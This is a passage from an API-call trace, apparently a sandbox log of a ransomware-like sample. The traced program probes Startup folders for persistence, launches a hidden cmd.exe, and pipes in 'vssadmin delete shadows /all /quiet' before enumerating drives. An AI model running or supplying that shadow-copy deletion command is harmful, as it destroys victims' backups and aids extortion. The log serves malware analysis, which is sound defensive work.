dwFlags=0x0, lpMem=0x8b56a8 | out: hHeap=0x880000) returned 1 [0121.141] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0121.141] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.141] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7010 | out: hHeap=0x880000) returned 1 [0121.141] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x8da0a0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x97 [0121.141] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ea0a8 | out: hHeap=0x880000) returned 1 [0121.141] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8da0a0 | out: hHeap=0x880000) returned 1 [0121.141] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0121.141] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.141] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5cf8 [0121.141] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.141] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5d48 [0121.141] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0121.141] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0121.142] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0121.142] lstrlenW (lpString="kernel32.dll") returned 12 [0121.142] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0121.142] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.142] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0121.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0121.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.142] CloseHandle (hObject=0xe4) returned 1 [0121.142] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.142] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5d48 [0121.142] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.142] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5cf8 [0121.142] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0121.142] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0121.142] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0121.142] lstrlenW (lpString="kernel32.dll") returned 12 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0121.143] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8da0a0 [0121.143] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ea0a8 [0121.143] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.143] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5d48 [0121.143] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5d48, Size=0x40) returned 0x8fa0c8 [0121.143] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa0c8, Size=0x80) returned 0x8fb0c8 [0121.143] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8b7010 [0121.143] lstrlenW (lpString="") returned 0 [0121.143] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.143] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b56a8 [0121.143] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0121.143] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8ea0a8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0121.143] RegCloseKey (hKey=0xe4) returned 0x0 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b56a8 | out: hHeap=0x880000) returned 1 [0121.143] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0121.143] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7010 | out: hHeap=0x880000) returned 1 [0121.143] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpDst=0x8da0a0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 0x78 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ea0a8 | out: hHeap=0x880000) returned 1 [0121.143] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8da0a0 | out: hHeap=0x880000) returned 1 [0121.143] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0121.144] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.144] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5d48 [0121.144] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.144] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5cf8 [0121.144] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0121.144] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0121.144] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0121.144] lstrlenW (lpString="kernel32.dll") returned 12 [0121.144] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0121.144] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.144] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0121.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0121.144] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.144] CloseHandle (hObject=0xe4) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.145] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5cf8 [0121.145] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.145] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8b5d48 [0121.145] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0121.145] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0121.145] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0121.145] lstrlenW (lpString="kernel32.dll") returned 12 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0121.145] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5cf8 | out: hHeap=0x880000) returned 1 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba090 | out: hHeap=0x880000) returned 1 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ca098 | out: hHeap=0x880000) returned 1 [0121.145] lstrlenW (lpString="%windir%\\System32") returned 17 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b72f8 | out: hHeap=0x880000) returned 1 [0121.145] lstrlenW (lpString="%appdata%") returned 9 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8947b0 | out: hHeap=0x880000) returned 1 [0121.145] lstrlenW (lpString="%sh(Startup)%") returned 13 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894788 | out: hHeap=0x880000) returned 1 [0121.145] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0121.145] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5660 | out: hHeap=0x880000) returned 1 [0121.145] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.145] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x894788 [0121.145] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894788, Size=0x40) returned 0x8fa0c8 [0121.145] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa0c8, Size=0x80) returned 0x8fb0c8 [0121.146] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.146] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x894788 [0121.146] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1fffc) returned 0x8ba090 [0121.146] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8da098 [0121.146] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8ea0a0 [0121.146] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f78 [0121.146] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f78, Size=0x20) returned 0x8947b0 [0121.146] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8947b0, Size=0x40) returned 0x8fa0c8 [0121.146] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa0c8, Size=0x80) returned 0x8fb150 [0121.146] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb150, Size=0x100) returned 0x8b7010 [0121.146] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0121.146] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7010 | out: hHeap=0x880000) returned 1 [0121.146] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x8da098, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0121.146] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ea0a0 | out: hHeap=0x880000) returned 1 [0121.146] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8da098 | out: hHeap=0x880000) returned 1 [0121.151] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0121.158] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0121.158] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0121.158] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0121.158] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x538, dwThreadId=0x53c)) returned 1 [0123.058] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0123.058] WriteFile (in: hFile=0xec, lpBuffer=0x8fb0c8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x8fb0c8*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0123.058] CloseHandle (hObject=0xfc) returned 1 [0123.058] CloseHandle (hObject=0xf8) returned 1 [0123.058] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba090 | out: hHeap=0x880000) returned 1 [0123.058] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0123.058] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fb0c8 | out: hHeap=0x880000) returned 1 [0123.058] lstrlenW (lpString="%comspec%") returned 9 [0123.058] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894788 | out: hHeap=0x880000) returned 1 [0123.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0123.059] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4f78 [0123.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x8b4f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0123.060] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b5628 [0123.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x8b5628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0123.060] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f90 [0123.060] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f90, Size=0x20) returned 0x894788 [0123.060] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894788, Size=0x40) returned 0x8fa0c8 [0123.060] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0123.060] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd0) returned 0x8b7010 [0123.061] GetLogicalDrives () returned 0x4 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10014) returned 0x8ba090 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f90 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4f90, Size=0x20) returned 0x894788 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894788, Size=0x40) returned 0x8fa1a0 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fa1a0, Size=0x80) returned 0x8fb0c8 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fb0c8, Size=0x100) returned 0x8b8c58 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8c58, Size=0x200) returned 0x8b8c58 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8c58, Size=0x400) returned 0x8b8640 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8640, Size=0x800) returned 0x8fd0b0 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fd0b0, Size=0x1000) returned 0x8fd0b0 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x8ca0b0 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4f90 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b5068 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894d00 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b5080 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894d10 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b5098 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894d10, Size=0x8) returned 0x894d10 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b50b0 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894d10, Size=0x10) returned 0x8b6f10 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b50c8 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b50e0 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6f10, Size=0x20) returned 0x8b6f10 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b50f8 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894d10 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b5110 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b5128 [0123.061] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6f10, Size=0x40) returned 0x8b72f8 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b5140 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b5158 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b5170 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b5188 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b51a0 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b51b8 [0123.061] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b7340 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b51d0 [0123.062] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b72f8, Size=0x80) returned 0x8b70e8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b51e8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b5200 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b5218 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b5230 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8658 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b8670 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8688 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b8a40 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b86a0 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b86b8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b86d0 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b86e8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b8700 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8718 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b8730 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8748 [0123.062] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b70e8, Size=0x100) returned 0x8b8c58 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8760 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8778 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8790 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b87a8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b87c0 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b87d8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b8a50 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b87f0 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8808 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8820 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8b6f10 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8838 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8850 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b6f20 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8868 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8880 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b8898 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b88b0 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b88c8 [0123.062] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b88e0 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8b88f8 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8910 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b8928 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8940 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8958 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8970 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8988 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b6f30 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b89a0 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b89b8 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b89d0 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b89e8 [0123.063] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b8c58, Size=0x200) returned 0x8b8c58 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8a00 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b72f8 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b8a18 [0123.063] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8fe0d0 